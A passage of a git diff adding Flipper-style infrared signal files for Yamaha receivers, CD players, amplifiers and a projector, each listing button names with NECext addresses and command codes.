+type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: TAPE_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: TAPE_REC_PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: TAPE_REC_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 05 00 00 00 +# +name: TAPE_DECK_AB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: TAPE_DIR_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: CD_PAUSE_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: CD_TRK_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: CD_TRK_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: CD_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: CD_REW +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: PHONO_PLAY_CUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0E 00 00 00 +# +name: TUNER_PRESET_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER_PRESET_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER_ABCDE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: TAPE1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: TAPE2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: TAPE_DIR_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: CD_DISC_SKIP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: EQ_ON_FLAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5A 00 00 00 +# +name: EQ_PRESET_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5B 00 00 00 +# +name: EQ_PRESET_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir new file mode 100644 index 000000000..60823e7cb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: abcde +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: phono +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: tapemonitor +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: off +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: tvdbs +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: vaux +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: effect +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: effect+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 58 00 00 00 +# +name: effect- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: test +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: level +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: extdecoder +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: dolbydts +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: movietheater1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: movietheater2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: monomovie +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: tvsports +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: disco +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: rock +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: jazzclub +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: church +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: hall +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: setmenu +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: setmenu- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir new file mode 100644 index 000000000..da934d741 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 01 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 02 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: SEARCH_BACK +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 05 00 00 00 +# +name: SEARCH_FWD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 06 00 00 00 +# +name: SKIP_FWD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 08 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0A 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0B 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0C 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0D 00 00 00 +# +name: KEY_SPACE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 19 00 00 00 +# +name: PLUS10 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1B 00 00 00 +# +name: OUTPUT_MINUS +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1C 00 00 00 +# +name: OUTPUT_PLUS +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1D 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 55 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 56 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 57 00 00 00 +# +name: SYNCHRO +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 58 00 00 00 +# +name: PEAK +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir new file mode 100644 index 000000000..127029b35 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: tape_play +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: tape_bck +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: tape_fwd +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: tape_stop +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: tape_rec +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: tape_deck_a/b +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: tape_dir_a +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: cd_play +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: cd_stop +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: cd_next +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: cd_prev +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: cd_fwd +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: cd_bck +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: tuner_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: tuner_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: tuner_a/b/c/d/e +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: phono +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: md +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: tape_dir_b +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: cd_disc_skip +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir new file mode 100644 index 000000000..b377f402e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: tuner+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: tuner- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: tuner-toggle +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: d-tv/cbl +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: md/cd-r +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: d-tv/cbl_alternative +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: v-aux +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: KEY_6ch_input +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir new file mode 100644 index 000000000..2661311c7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 00 00 00 00 +# +name: cd_stop +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 01 00 00 00 +# +name: cd_play +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 02 00 00 00 +# +name: cd_next +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 03 00 00 00 +# +name: cd_last +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 04 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 07 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 08 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 09 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0A 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0C 00 00 00 +# +name: disc_scip +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 19 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1A 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1E 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1F 00 00 00 +# +name: tape_stop +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 41 00 00 00 +# +name: tape_play_forward +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 42 00 00 00 +# +name: tape_play_back +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 43 00 00 00 +# +name: tape_forward +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 44 00 00 00 +# +name: tape_back +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 45 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 46 00 00 00 +# +name: tape1/2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 47 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4F 00 00 00 +# +name: up_arrow +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 55 00 00 00 +# +name: down_arrow +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 56 00 00 00 +# +name: left_arrow +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 57 00 00 00 +# +name: right_arrow +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 58 00 00 00 +# +name: flat +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 59 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5A 00 00 00 +# +name: location +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5B 00 00 00 +# +name: user +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5C 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5D 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir new file mode 100644 index 000000000..cc146684d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: vcr1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: tuner+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: tuner- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: vcr2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: phono +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: tape/md +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: volume^ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: tv/dbs +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: v-aux +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: effect +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: test +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: level +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: decoder +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: setV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: set^ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: set+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: set- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: parameterV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C4 00 00 00 +# +name: parameter^ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C5 00 00 00 +# +name: parameter+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C6 00 00 00 +# +name: parameter- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir new file mode 100644 index 000000000..6a706aea2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: TAPETAPE_BWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: TAPE_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: TAPE_RECPAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: TAPE_AB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: TAPE_DIRA +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: CD_SEARCH_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: CD_SEARCH_BWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: CD_SKIP_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: CD_SKIP_BWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: PRESET_PLUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: PRESET_MINUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: ABCDE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: TAPE1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: TAPE2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: TAPE_DIRB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir new file mode 100644 index 000000000..375069705 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C2 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 